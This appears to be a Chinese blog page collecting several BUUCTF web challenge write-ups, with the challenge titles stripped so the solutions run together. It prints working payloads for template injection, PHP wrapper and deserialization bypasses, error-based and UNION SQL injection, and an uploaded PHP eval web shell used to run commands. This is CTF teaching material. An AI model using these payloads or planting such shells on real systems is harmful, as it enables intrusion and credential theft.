赞
踩
web buuctf [护网杯 2018]easy_tornado1_[护网杯 2018]easy_tornado 1-CSDN博客
render是渲染HTML页面用到的函数
这应该是一个模板注入漏洞
访问/fllllllllllllag,自动跳到了这个页面,可以看到 url 上有个msg=Error,
尝试将 Error 更换成其他的值,可以发现有回显
所以就可以通过msg的值进行传参,得到想要的内容
从提升来看,我们需要获得cookie_secret的值
web buuctf [护网杯 2018]easy_tornado1_[护网杯 2018]easy_tornado 1-CSDN博客
(大佬博客有解析)
传参 {{handler.settings}} 可以获得cookie_secret的值
根据提示需要将 它的值 加上filename(/fllllllllllllag)的MD5值 在进行MD5加密 ,得到flag
分析代码,需要GET传参 text&file&password 三个参数,file 传参的值不能有flag,password传参的值会反序列化,file_get_contents 得到文件里的内容,并且还要与 welcome to the zjctf
,所以使用 data 伪协议绕过,
相等,应该是找不到这样的文件的
?text=data://text/plain,welcome to the zjctf&file=useless.php ,但是依旧没有反应,
可能 include(useless.php) ,直接执行了,没有把源码显示出来,所以依旧使用伪协议绕过
?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php
然后将其base64解码
本地运行一下,将得到的值传入password
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} (这个时候file传参的值就不要用伪协议绕过了,因为需要他去执行代码)
先测试一下 1 ,1' ,1" ,可以发现应该为单引号型的
再爆一下字段数 order by ,可以发现是被过滤了,尝试双写绕不过
再试试联合注入,union 被过滤了, 空格也被过滤了
尝试一下报错注入
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))# 可以成功 ,继续
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))#
1'or(updatexml(1,concat(0x7e,(select(group_concat(id,0x7e,username,0x7e,password))from(H4rDsq1))),1))#
因为长度的限制,使用right函数来获取另一半
1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1))),1))#
将得到两份flag拼凑一下就行
MD5强比较:传数组
password弱比较,直接传参password=1234567a, 即可得到flag
分析代码,对GET传参的 str 值反序列化,我们需要 read()这个函数 ,去读取flag.php,得到flag,所以将op的值改为2,file的值为flag.php,但是__destruct()会将op的值改为2,需要将它绕过,
一个是强比较,一个是弱比较,通过这个绕过,赋值 op=2 (整数型),绕过__destruct()
本地运行一下,运行的结果赋值给 str ,可以得到flag
文件上传的题,直接上传一个图片码,抓包修改数据
内容有问题,应该是过滤了什么,用二分法将它排查出来,可知是过滤了?
用 <script language='php'>@eval($_POST[1])</script> 绕过,可以上传
但是 .png 后缀无法解析代码,需要在上传 .user.ini ,将 .png 能够当作php文件解析
然后在上传 1.png 文件 ,
直接进行命令执行 (也可以连接蚁剑)
POST传参 1=system("tac /flag");
测试后可知 是单引号型的注入
但是过滤了好多东西,双写,报错注入啥的都没有用,抓包之后可以看到有一个编码
先base64再base32
(工具:CyberChef)
试了很多一直是 报错:wrong user!
试了 admin ,终于不一样了,报错是:wrong pass!
可能 name应该是必须要有admin
在测试列数,这样3列的时候会显示 wrong pass
应该是对密码做了什么操作,有点懵
https://www.cnblogs.com/Cl0ud/p/12604647.html
BUUCTF [GXYCTF2019]BabySQli实战_babysqliv2.0-CSDN博客
看了wp 后,是对密码进行了MD5加密,需要匹配用户名为 admin 的密码的MD5
(为什么可以知道进行了MD5加密,可以在password框里输入一些会报错的语句,但是如果没有报错,就能确定是进行了加密的,密码一般是MD5加密)
但我们又不可能知道密码,需要将它绕过,使用 联合查询 union select
联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据
不知道3个字段里哪个为密码的字段,可以多尝试几遍
name=111' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e';#&pw=123456
但是name后面不能是admin了,要不然就会密码不正确
name=admin' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e';#&pw=123456
随便上传一个php文件,不允许上传,抓包更改数据
可以成功,但是浏览器无法解析 .png 里的代码,无法执行命令
尝试传了一下 .user.ini 没有用,好像upload下没有index.php, .user.ini 发挥不了作用
尝试传 .htaccess
内容为:
GIF89a(好像没有也可以,一般习惯放上去)
AddType application/x-httpd-php .png
然后再上传 1.png
<script language='php'>@eval($_POST[1])</script>
命令执行一下发现可以成功
蚁剑连一下,或者命令执行 ,
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。